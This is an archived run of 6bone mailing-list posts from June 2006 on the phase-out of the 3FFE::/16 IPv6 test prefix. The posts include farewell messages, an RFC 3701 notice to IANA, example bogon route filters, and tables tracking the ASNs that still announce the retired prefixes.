clearly didn't read the mailinglist either nor where they subscribed.
It is too bad that your demise seems to have been also on a note of
neglect and due to people who initially wanted to use you for
experimentation and advance based on what they learned from you, they
forgot all about you. We will not forget you and abandon you in disgrace
as that is not what you have deserved.

We will remember the 6bone as the start of the IPv6 capable internet,
the network that was used to experiment with, where the first IPv6
implementations saw it's light and where a large number of problems
where found, debugged and resolved. We will remember you as the network
that started the freedom of having enough IP addresses for everybody
around the world and maybe even one day beyond.

Thanks for your kindness and thanks for your time. Let the 6bone rest in
piece and not in pieces and apply filters where needed. Results of
filtering can be seen at:
http://www.sixxs.net/tools/grh/dfp/6bone/
Further IPv6 operational content can be found at:
http://lists.cluenet.de/mailman/listinfo/ipv6-ops

nibbles to nibbles, bits to bits.

Greets,
 Jeroen

--
A few example filters, do remind to remove these one day ;)

Juniper (BGP):
policy-statement ipv6-from-customer {
    from {
        family inet6;
        route-filter 3ffe::/16 orlonger next policy;
    }
    then reject;
}

Linux:
 ip -6 ro add 3ffe::/16 dev lo

Free/Net/OpenBSD:
 route add -inet6 3ffe:: -prefixlen 16 lo0

Cisco (BGP):
 ipv6 prefix-list ipv6-from-customer deny 3ffe:::/16 le 128


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From jordi.palet@consulintel.es Mon Jun  5 16:40:06 2006
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From: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>
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Today 6Bone Operators & Users say bye to the experimental network which
allowed, already some years ago, to turn IPv6 into the production space.

With the occasion of this virtual celebration, we have a couple of quotes
from two key people on this subject:

* Bob Fink (6Bone Project): ³After more than ten years of planning,
development and experience with IPv6, with efforts from all around the
world, it is gratifying for me to see the 6Bone phase-out on the 6th of June
2006, having served it's purpose to stimulate IPv6 deployment and
experience, leaving IPv6 a healthy ongoing component of the future of the
Internet!²

* Brian Carpenter (IBM, co-author of multiple IPv6 RFCs and IETF chair):
³It's very encouraging to see IPv6 moving forward both technically and
commercially, with its address assignments now routinely managed by the same
registries that look after the rapidly diminishing IPv4 address pool. I look
forward to the day the Internet reaches ten billion active nodes with public
addresses, which will only be possible with IPv6.²

Users can learn how to enable IPv6, enjoy free IPv6 production connectivity
and use some trial services at the IPv6 Day web site
(http://www.ipv6day.org) (in several languages).

http://www.ipv6tf.org/news/newsroom.php?id=2037





**********************************************
The IPv6 Portal: http://www.ipv6tf.org

Barcelona 2005 Global IPv6 Summit
Slides available at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.




From bobfink@gmail.com Tue Jun  6 08:43:08 2006
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Subject: [6bone] 6bone is PHASED OUT !! Thanks to all who have worked on the
	6bone.
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6bone Operators & Users,

Today is the day!  The 6bone is phased out.

I would like to thank everyone who has participated in the 6bone
during the last 10 years.

===
Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout ", 3FFE
prefixes only remains valid until TODAY, June 6, 2006.

After TODAY, June 6, 2006, no 6bone 3FFE prefixes, of any size/length, are to
be used on the Internet in any form.

Note that on June 6, 2006 3FFE prefixes do not actively need to be
returned to the 6bone registry; 3FFE prefixes will simply be invalid
after that date and assumed to be totally under the control of the
IANA.

Network operators may filter 3FFE prefixes on their borders to ensure
these prefixes are not misused.

Please take appropriate action now.

Again, thanks to everyone who has been involved with the 6bone; you are great!


Regards,

Bob Fink

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http://slashdot.org/comments.pl?sid=187606&threshold=1&commentsort=0&mode=th
read&cid=15478052

Regards,
Jordi






**********************************************
The IPv6 Portal: http://www.ipv6tf.org

Barcelona 2005 Global IPv6 Summit
Slides available at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.




From dr@cluenet.de Tue Jun  6 12:23:08 2006
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On Tue, Jun 06, 2006 at 08:39:22PM +0200, JORDI PALET MARTINEZ wrote:
> http://slashdot.org/comments.pl?sid=187606&threshold=1&commentsort=0&mode=thread&cid=15478052

What is good about routing changing to a less optimal path?

trace #1 shows a direct Abilene<->WIDE peering, where trace #2 shows
a detour via ES.net.

The hop #15 in trace #1 is just the peering LAN of LAAP (which is still
in 6bone space, they don't get it that they should have renumbered long
ago).

So in this example, routing got worse, and I seriously doubt it is
because the LAAP was running on 6bone IP address space.


Regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

From kato@wide.ad.jp Tue Jun  6 13:34:11 2006
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> The hop #15 in trace #1 is just the peering LAN of LAAP (which is still
> in 6bone space, they don't get it that they should have renumbered long
> ago).

For honor of LAAP, it has already provided production address for the
IX fabric since many months ago. The 3ffe:80a::/32 still in use is
PAIX/Palo Alto. Mark Prior from AARNET wrote at least a couple of
times to PAIX to provide non-6bone space but I don't think he got a
response.

The peering with Abilene over PAIX/Palo Alto has been established for
more than 10 days. So the main reason of the route change was not due
to a fact that the peering still uses 6bone space. A couple of Abilene
routers (SNVA and DNVR) still uses the route via PAIX/Palo Alto to
reach us while other routers pick routes based on their own
preferences.

While the number of the hops increased, the RTT doesn't change a lot
(313ms vs 309ms -- average of the three measurements).

-- Akira Kato, WIDE Project


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http://www.cidr-report.org/v6/#Bogons

-Hank

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Hoi Hank,
	
On Wed, Jun 07, 2006 at 12:29:01AM +0300, Hank Nussbacher wrote:
| http://www.cidr-report.org/v6/#Bogons
Thanks for the link. Another view can be found from SixXS' GRH project:

http://www.sixxs.net/tools/grh/dfp/6bone/

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From dr@cluenet.de Tue Jun  6 15:15:09 2006
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On Wed, Jun 07, 2006 at 12:29:01AM +0300, Hank Nussbacher wrote:
> http://www.cidr-report.org/v6/#Bogons

A more complete picture:
http://www.sixxs.net/tools/grh/lg/?prefix=3ffe::/16&show=best


Best regards,
Daniel

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On Tuesday 06 June 2006 01:39 pm, JORDI PALET MARTINEZ wrote:
> http://slashdot.org/comments.pl?sid=187606&threshold=1&commentsort=0&mode=t
>h read&cid=15478052

Another good sign is that the Developers Program page at the $100 laptop web 
site includes as one of its goals:
* IPv6 support, and service discovery, which are very important to us.
http://wiki.laptop.org/index.php/Developers_Program
John 

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At 23:42 06/06/2006, Pim van Pelt wrote:
>Hoi Hank,
>
>On Wed, Jun 07, 2006 at 12:29:01AM +0300, Hank Nussbacher wrote:
>| http://www.cidr-report.org/v6/#Bogons
>Thanks for the link. Another view can be found from SixXS' GRH project:
>
>http://www.sixxs.net/tools/grh/dfp/6bone/

Our view, from the RIB's:

AS      Prefix          #peers
4555    3ffe::/24       22
29216   3ffe:3::/48     19
16838   3ffe:4::/48     5
3263    3ffe:100::/24   22
2527    3ffe:50f::/32   5
293     3ffe:700::/24   22
4555    3ffe:800::/24   8
5609    3ffe:1000::/24  22
33      3ffe:1200::/24  22
3582    3ffe:1500::/24  22
7610    3ffe:1600::/24  22
3       3ffe:1ce1::/32  5
3322    3ffe:1f80::/32  19
145     3ffe:2800::/24  22
195     3ffe:2807::/32  2
6175    3ffe:2900::/24  21
6175    3ffe:290a::/32  5
3748    3ffe:2e00::/24  22
17715   3ffe:3600::/24  22
3597    3ffe:8070:1019::/48     5
12199   3ffe:8090::/28  23
25336   3ffe:80e0::/28  17
8954    3ffe:8110::/28  23
7660    3ffe:8140::/28  22
10013   3ffe:8200::/28  26
7671    3ffe:8250::/28  23
20834   3ffe:8270::/28  30
17965   3ffe:8330::/28  22

This list is available with a whois client and

    whois -h riswhois.ripe.net -F -M 3ffe::/16

For a longer list, use

    whois -h riswhois.ripe.net -M 3ffe::/16

Henk


------------------------------------------------------------------------------
Henk Uijterwaal                           Email: henk.uijterwaal(at)ripe.net
RIPE Network Coordination Centre          http://www.amsterdamned.org/~henk
P.O.Box 10096          Singel 258         Phone: +31.20.5354414
1001 EB Amsterdam      1016 AB Amsterdam  Fax: +31.20.5354445
The Netherlands        The Netherlands    Mobile: +31.6.55861746
------------------------------------------------------------------------------

1160438400. Watch this space... 


From Bradley@NorthTech.US Thu Jun  8 17:29:17 2006
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 the	6bone.
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And thank you Bob :)

It's been a great ten years, watching my daughter go from conception to 
4th grade, if that puts any perspective on things. Hope you and your 
wife are lovin' your new home in the hills Bob!

Kindest regards,

Bradley.

Robert Fink wrote:
> 6bone Operators & Users,
>
> Today is the day!  The 6bone is phased out.
>
> I would like to thank everyone who has participated in the 6bone
> during the last 10 years.
>
> ===
> Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout ", 3FFE
> prefixes only remains valid until TODAY, June 6, 2006.
>
> After TODAY, June 6, 2006, no 6bone 3FFE prefixes, of any size/length, are to
> be used on the Internet in any form.
>
> Note that on June 6, 2006 3FFE prefixes do not actively need to be
> returned to the 6bone registry; 3FFE prefixes will simply be invalid
> after that date and assumed to be totally under the control of the
> IANA.
>
> Network operators may filter 3FFE prefixes on their borders to ensure
> these prefixes are not misused.
>
> Please take appropriate action now.
>
> Again, thanks to everyone who has been involved with the 6bone; you are great!
>
>
> Regards,
>
> Bob Fink
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>
>
>
>   


-- 

Kindest regards,


Bradley D. Thornton
Manager Network Services
NorthTech Computer
+1.949.310.3505
http://NorthTech.US
mailto:Bradley@NorthTech.US


From bobfink@gmail.com Thu Jun  8 17:36:20 2006
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Dear IANA,

Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", the
6bone IPv6 Testbed network has been phased out as of the 6th of June
2006.

Therefore, also per RFC 3701, the 3FFE::/16 prefix allocated by RFC
2471 for IPv6 testing, can now be reclaimed by the IANA.

To the best of my knowledge, 6bone operators are making active efforts
to stop further usage of the 3FFE prefix, and to filter where relevant
and necessary. Let us hope they are successful.

I hope we have honored our commitments to Jon Postel, who helped to
make the 6bone possible. Long may his memory live!


Regards,

Bob Fink
past project lead for the 6bone


===
>From RFC 3701:

6.  IANA Considerations

   This document defines a phaseout plan for the usage of the IPv6
   Testing Address Allocation [TEST-NEW].  The IANA MUST reclaim the
   3FFE::/16 prefix upon the date specified in section 2.0.

   When the 6bone Testing Address Allocation is reclaimed by the IANA,
   it is expected that many network operators will filter it on their
   borders to ensure these prefixes are not misused.

   There is experience from the IPv4 world that such filters may not be
   removed promptly should this address space be reallocated, and it is
   recommended that the IANA bears this in mind before reallocating it
   in a manner that would require it to be routed globally within the
   current Internet.
-end

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At 19:08 07/06/2006, Henk Uijterwaal wrote:
>At 23:42 06/06/2006, Pim van Pelt wrote:
>>Hoi Hank,
>>
>>On Wed, Jun 07, 2006 at 12:29:01AM +0300, Hank Nussbacher wrote:
>>| http://www.cidr-report.org/v6/#Bogons
>>Thanks for the link. Another view can be found from SixXS' GRH project:
>>
>>http://www.sixxs.net/tools/grh/dfp/6bone/
>
>Our view, from the RIB's:

6 prefixes have disappeared but we still see 23 of them:

                         7/6/2006      12/6/2006
AS      Prefix          # peers       # peers
4555    3ffe::/24       22            10
29216   3ffe:3::/48     19            18
16838   3ffe:4::/48      5             5
3263    3ffe:100::/24   22            10
2527    3ffe:50f::/32    5             5
293     3ffe:700::/24   22            10
4555    3ffe:800::/24    8             9
5609    3ffe:1000::/24  22            -- (GONE)
33      3ffe:1200::/24  22            -- (GONE)
3582    3ffe:1500::/24  22            10
7610    3ffe:1600::/24  22            10
3       3ffe:1ce1::/32   5             5
3322    3ffe:1f80::/32  19            18
145     3ffe:2800::/24  22            -- (GONE)
195     3ffe:2807::/32   2             2
6175    3ffe:2900::/24  21            -- (GONE)
6175    3ffe:290a::/32   5             5
3748    3ffe:2e00::/24  22            10
17715   3ffe:3600::/24  22            10
3597    3ffe:8070:1019::/48     5      5
12199   3ffe:8090::/28  23            -- (GONE)
25336   3ffe:80e0::/28  17            14
8954    3ffe:8110::/28  23            17
7660    3ffe:8140::/28  22            10
10013   3ffe:8200::/28  26            19
6342    3ffe:8240::/28  --            10
7671    3ffe:8250::/28  23            -- (GONE)
20834   3ffe:8270::/28  30            27
17965   3ffe:8330::/28  22            10

Henk


------------------------------------------------------------------------------
Henk Uijterwaal                           Email: henk.uijterwaal(at)ripe.net
RIPE Network Coordination Centre          http://www.amsterdamned.org/~henk
P.O.Box 10096          Singel 258         Phone: +31.20.5354414
1001 EB Amsterdam      1016 AB Amsterdam  Fax: +31.20.5354445
The Netherlands        The Netherlands    Mobile: +31.6.55861746
------------------------------------------------------------------------------

1160438400. Watch this space... 


From pim@bfib.ipng.nl Mon Jun 12 01:58:39 2006
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On Mon, Jun 12, 2006 at 10:49:01AM +0200, Henk Uijterwaal wrote:
| 6 prefixes have disappeared but we still see 23 of them:
| 
SixXS sees 19 prefixes today. Note that this was approximately 80 just
before 6/6/2006, so I think we are making good progress.

I have been asking my IPv6 transitprovider (GLBX) to update their
filtering, because they are still sending us 3ffe::/16 prefixes. If there 
are any other GLBX IPv6 customers on this list, it would help if you could
contact them with a similar request. I have contact details if you need
them (contact me offlist in that case).
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From hank@efes.iucc.ac.il Mon Jun 12 02:41:39 2006
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At 10:56 AM 12-06-06 +0200, Pim van Pelt wrote:
>On Mon, Jun 12, 2006 at 10:49:01AM +0200, Henk Uijterwaal wrote:
>| 6 prefixes have disappeared but we still see 23 of them:
>|
>SixXS sees 19 prefixes today. Note that this was approximately 80 just
>before 6/6/2006, so I think we are making good progress.

I have sent out another 7 targetted notices today for ASNs:
3582, 4555, 29216, 16838, 3263, 3, and 293.

-Hank


>I have been asking my IPv6 transitprovider (GLBX) to update their
>filtering, because they are still sending us 3ffe::/16 prefixes. If there
>are any other GLBX IPv6 customers on this list, it would help if you could
>contact them with a similar request. I have contact details if you need
>them (contact me offlist in that case).
>--
>---------- - -    - - -+- - -    - - ----------
>Pim van Pelt                 Email: pim@ipng.nl
>http://www.ipng.nl/             IPv6 Deployment
>-----------------------------------------------
>
>  +++++++++++++++++++++++++++++++++++++++++++
>  This Mail Was Scanned By Mail-seCure System
>  at the Tel-Aviv University CC.


From dr@cluenet.de Mon Jun 12 05:06:39 2006
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On Mon, Jun 12, 2006 at 12:37:33PM +0300, Hank Nussbacher wrote:
> I have sent out another 7 targetted notices today for ASNs:
> 3582, 4555, 29216, 16838, 3263, 3, and 293.

4555 has already announced to continue advertising the (now bogon)
route. He can't let go.

Could someone finally remove ip6.int now so we don't have to further
suffer from this 4555 show? The opinion of the ops community at large
is crystal-clear.

Hank, thanks for your efforts!


Regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

From tvo@enterzone.net Mon Jun 12 05:06:46 2006
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Pim van Pelt wrote:
> On Mon, Jun 12, 2006 at 10:49:01AM +0200, Henk Uijterwaal wrote:
> | 6 prefixes have disappeared but we still see 23 of them:
> | 
> SixXS sees 19 prefixes today. Note that this was approximately 80 just
> before 6/6/2006, so I think we are making good progress.
> 
> I have been asking my IPv6 transitprovider (GLBX) to update their
> filtering, because they are still sending us 3ffe::/16 prefixes. If there 
> are any other GLBX IPv6 customers on this list, it would help if you could
> contact them with a similar request. I have contact details if you need
> them (contact me offlist in that case).

Do you really want your provider to filter the 3ffe::/16 prefixes right
now?  It will make the offending prefixes dissappear from YOUR view but,
it won't make them go away.  Unless EVERYONE filters 3ffe::/16 as BOGON
prefixes, we need to be able to see who is actually announcing those
prefixes.

We're seeing 15 prefixes right now:

Border2-BGP> sh bgp 3ffe::/16 longer-prefixes
BGP table version is 0, local router ID is 66.35.95.2
Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 3ffe::/24        2001:4f0:1001:1::2
                                             0             0 4555 i
*> 3ffe:100::/24    2001:4f0:1001:1::2
                                                           0 4555 6939
6939 3263 i
*> 3ffe:700::/24    2001:4f0:1001:1::2
                                                           0 4555 6939
4725 2915 2713 293 i
*> 3ffe:800::/24    2001:4f0:1001:1::2
                                             0             0 4555 i
*> 3ffe:1500::/24   2001:4f0:1001:1::2
                                                           0 4555 3582 i
*> 3ffe:1600::/24   2001:4f0:1001:1::2
                                                           0 4555 6939
6939 2042 7610 i
*> 3ffe:2e00::/24   2001:4f0:1001:1::2
                                                           0 4555 6939
6939 3748 i
*> 3ffe:3600::/24   2001:4f0:1001:1::2
                                                           0 4555 6939
4725 17715 i
*> 3ffe:80e0::/28   2001:4f0:1001:1::2
                                                           0 4555 6939
2516 7660 7684 18084 3257 25336 i
*> 3ffe:8110::/28   2001:4f0:1001:1::2
                                                           0 4555 6939
2516 7660 7684 18084 3257 8954 i
*> 3ffe:8140::/28   2001:4f0:1001:1::2
                                                           0 4555 6939
2516 7660 i
*> 3ffe:8200::/28   2001:4f0:1001:1::2
                                                           0 4555 6939
4716 10013 i
*> 3ffe:8240::/28   2001:4f0:1001:1::2
                                                           0 4555 6939
6939 278 6342 i
*> 3ffe:8270::/28   2001:4f0:1001:1::2
                                                           0 4555 6939
3257 20834 i
*> 3ffe:8330::/28   2001:4f0:1001:1::2
                                                           0 4555 6939
6939 2042 17965 i

Total number of prefixes 15


On a different note, I've attempted to contact the following ASNs to
move our peering sessions over to RIR address space.  No reply thus far:

6175 - SPRINT
8002 - Stealth Communications
6939 - Hurricane Electric

If you have enable on one of those ASNs, please contact me off-list so
we can move the peering session and get the 3ffe::/16 addresses out of
the path.

John Fraizer
AS13944

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Daniel Roesen wrote:
> On Mon, Jun 12, 2006 at 12:37:33PM +0300, Hank Nussbacher wrote:
> 
>>I have sent out another 7 targetted notices today for ASNs:
>>3582, 4555, 29216, 16838, 3263, 3, and 293.

Here is a list of AS's appearing one space to the left of those
still announcing 3ffe::/16 prefixes from my view:


#routes AS

    6 3257
    3 6939
    2 9009
    2 8674
    2 4725
    2 4555
    2 278
    2 2042
    1 4716
    1 4275
    1 2713
    1 2516
    1 18084
    1 145
    1 13944

I think Alexander (3257) said he would wait a short time to give folks
who weren't paying attention time to migrate.  Hopefully that
time will come soon.

- Kevin

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Robert Fink wrote:
> Dear IANA,
> 
> Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", the
> 6bone IPv6 Testbed network has been phased out as of the 6th of June
> 2006.
> 
> Therefore, also per RFC 3701, the 3FFE::/16 prefix allocated by RFC
> 2471 for IPv6 testing, can now be reclaimed by the IANA.
> 
> To the best of my knowledge, 6bone operators are making active efforts
> to stop further usage of the 3FFE prefix, and to filter where relevant
> and necessary. Let us hope they are successful.

Robert,

Thank you for following through on winding this up after many years of
operation.  I don't know if you are still associated with ESnet,
but they are still announcing 3ffe:700::/24.  Can you or anyone
you know there fix that?

All of the paths visible from sixxs are going through 2713, if that
helps.

- Kevin

From bobfink@gmail.com Mon Jun 12 08:36:41 2006
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Kevin,



On 6/12/06, Kevin Loch <kloch@hotnic.net> wrote:
> Robert Fink wrote:
> > Dear IANA,
> >
> > Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", the
> > 6bone IPv6 Testbed network has been phased out as of the 6th of June
> > 2006.
> >
> > Therefore, also per RFC 3701, the 3FFE::/16 prefix allocated by RFC
> > 2471 for IPv6 testing, can now be reclaimed by the IANA.
> >
> > To the best of my knowledge, 6bone operators are making active efforts
> > to stop further usage of the 3FFE prefix, and to filter where relevant
> > and necessary. Let us hope they are successful.
>
> Robert,
>
> Thank you for following through on winding this up after many years of
> operation.  I don't know if you are still associated with ESnet,
> but they are still announcing 3ffe:700::/24.  Can you or anyone
> you know there fix that?
>
> All of the paths visible from sixxs are going through 2713, if that
> helps.

I'll get in touch with the ESnet folk and get them to take it down.


Thanks,

Bob

From yhines@es.net Mon Jun 12 09:15:41 2006
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Hello Kevin,

 All though it may look as if ESnet is announcing 3FFE:700::/24 to as2713.
ESnet is only announcing 2001:400::/32.  I will be contacting as2713 to 
work with them to remove the 3ffe:700::/24 announcment.

The SixXS Ghost Route Hunter is identifying
3FFE:700::/24 as a ghost route since 2006 06 07 22:17
 
https://noc.sixxs.net/tools/grh/ghosts/

Regards,

Yvonne Hines
ESnet


> Robert Fink wrote:
> > Dear IANA,
> > 
> > Per RFC 3701, "6bone (IPv6 Testing Address Allocation) Phaseout", the
> > 6bone IPv6 Testbed network has been phased out as of the 6th of June
> > 2006.
> > 
> > Therefore, also per RFC 3701, the 3FFE::/16 prefix allocated by RFC
> > 2471 for IPv6 testing, can now be reclaimed by the IANA.
> > 
> > To the best of my knowledge, 6bone operators are making active efforts
> > to stop further usage of the 3FFE prefix, and to filter where relevant
> > and necessary. Let us hope they are successful.
> 
> Robert,
> 
> Thank you for following through on winding this up after many years of
> operation.  I don't know if you are still associated with ESnet,
> but they are still announcing 3ffe:700::/24.  Can you or anyone
> you know there fix that?
> 
> All of the paths visible from sixxs are going through 2713, if that
> helps.
> 
> - Kevin
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 



From dr@cluenet.de Mon Jun 12 10:42:44 2006
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On Mon, Jun 12, 2006 at 09:14:24AM -0700, Yvonne Hines wrote:
> All though it may look as if ESnet is announcing 3FFE:700::/24 to as2713.
> ESnet is only announcing 2001:400::/32.  I will be contacting as2713 to 
> work with them to remove the 3ffe:700::/24 announcment.
> 
> The SixXS Ghost Route Hunter is identifying
> 3FFE:700::/24 as a ghost route since 2006 06 07 22:17

Jup, it's one of those ASses ghosting the route:
2713 AT&T Jens
2915 AT&T Jens
4725 Japan Telecom/ODN


Best regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

From raeburn@MIT.EDU Mon Jun 12 12:32:43 2006
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On Jun 12, 2006, at 05:37, Hank Nussbacher wrote:
> At 10:56 AM 12-06-06 +0200, Pim van Pelt wrote:
>> On Mon, Jun 12, 2006 at 10:49:01AM +0200, Henk Uijterwaal wrote:
>> | 6 prefixes have disappeared but we still see 23 of them:
>> |
>> SixXS sees 19 prefixes today. Note that this was approximately 80  
>> just
>> before 6/6/2006, so I think we are making good progress.
>
> I have sent out another 7 targetted notices today for ASNs:
> 3582, 4555, 29216, 16838, 3263, 3, and 293.
>
> -Hank

By "targetted notices" I assume you mean email directly to  
responsible people listed for the ASN, not those in the 6bone  
registry?  In MIT's case, that's two non-overlapping sets of people,  
and I'm in the latter set.

As far as I can tell, we at MIT (AS 3) have stopped advertising 3ffe: 
1ce1::/32 as of a few days ago (not 6/6/6, but soon after).  Just to  
be sure, I took down our end of our old 6bone tunnel to MCI and the  
BGP association about nine hours ago, in case they're still accepting  
and passing 6bone routes and I'm misreading my config file.  Yet the  
looking glass at sixxs is still showing me it's receiving a path via  
Hurricane Electric and MCI (and a bunch of sites in between),  
directly from HE and via other sites.

I'll track down the MCI contact address and ask if maybe they're  
advertising a route for us rather than passing on our advertisement  
if/when we send it to them...

Ken

From gert@Space.Net Mon Jun 12 13:51:47 2006
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Hi,

On Mon, Jun 12, 2006 at 03:31:40PM -0400, Ken Raeburn wrote:
> As far as I can tell, we at MIT (AS 3) have stopped advertising 3ffe: 
> 1ce1::/32 as of a few days ago (not 6/6/6, but soon after).  Just to  
> be sure, I took down our end of our old 6bone tunnel to MCI and the  
> BGP association about nine hours ago, in case they're still accepting  
> and passing 6bone routes and I'm misreading my config file.  Yet the  
> looking glass at sixxs is still showing me it's receiving a path via  
> Hurricane Electric and MCI (and a bunch of sites in between),  
> directly from HE and via other sites.

Chances are that this is a so-called "ghost route" - the originator has
withdrawn it, but somewhere on the path, there's a buggy BGP speaker
that has removed it from its own tables, but omitted to actually send
out the withdrawal.

Nobody currently seems to really *know* what's triggering it, which is
why it's sort of hard to make the offending vendor fix it.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  92315

SpaceNet AG                    Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14      Tel : +49-89-32356-0
D- 80807 Muenchen              Fax : +49-89-32356-234


From hank@efes.iucc.ac.il Mon Jun 12 21:30:51 2006
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On Mon, 12 Jun 2006, Ken Raeburn wrote:

> > I have sent out another 7 targetted notices today for ASNs:
> > 3582, 4555, 29216, 16838, 3263, 3, and 293.
> >
> > -Hank
>
> By "targetted notices" I assume you mean email directly to
> responsible people listed for the ASN, not those in the 6bone
> registry?  In MIT's case, that's two non-overlapping sets of people,
> and I'm in the latter set.

I sent out an email yesterday to the 2 ARIN whois people for AS3.  Thanks
for your help as well.

-Hank

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Subject: Re: [6bone] A list of 3FFEs still in the routing tables
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Today's view:

>                         7/6/2006      12/6/2006      18/6/2006
>AS      Prefix          # peers       # peers        #peers
>4555    3ffe::/24       22            10             9
>29216   3ffe:3::/48     19            18             -- GONE
>16838   3ffe:4::/48      5             5             -- GONE
>3263    3ffe:100::/24   22            10             9
>2527    3ffe:50f::/32    5             5             5
>293     3ffe:700::/24   22            10             9
>4555    3ffe:800::/24    8             9             6
>5609    3ffe:1000::/24  22            --             --
>33      3ffe:1200::/24  22            --             --
>3582    3ffe:1500::/24  22            10             -- GONE
>7610    3ffe:1600::/24  22            10             -- GONE
>3       3ffe:1ce1::/32   5             5             -- GONE
>3322    3ffe:1f80::/32  19            18             -- GONE
>145     3ffe:2800::/24  22            --             --
>195     3ffe:2807::/32   2             2             2
>6175    3ffe:2900::/24  21            --             --
>6175    3ffe:290a::/32   5             5             -- GONE
>3748    3ffe:2e00::/24  22            10             9
>17715   3ffe:3600::/24  22            10             9
>3597    3ffe:8070:1019::/48     5      5             -- GONE
>12199   3ffe:8090::/28  23            --             --
>25336   3ffe:80e0::/28  17            14             -- GONE
>8954    3ffe:8110::/28  23            17             14
>7660    3ffe:8140::/28  22            10             10
>10013   3ffe:8200::/28  26            19             -- GONE
>6342    3ffe:8240::/28  --            10             9
>7671    3ffe:8250::/28  23            --             --
>20834   3ffe:8270::/28  30            27             26
>17965   3ffe:8330::/28  22            10             -- GONE

Henk



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Henk Uijterwaal                           Email: henk.uijterwaal(at)ripe.net
RIPE Network Coordination Centre          http://www.amsterdamned.org/~henk
P.O.Box 10096          Singel 258         Phone: +31.20.5354414
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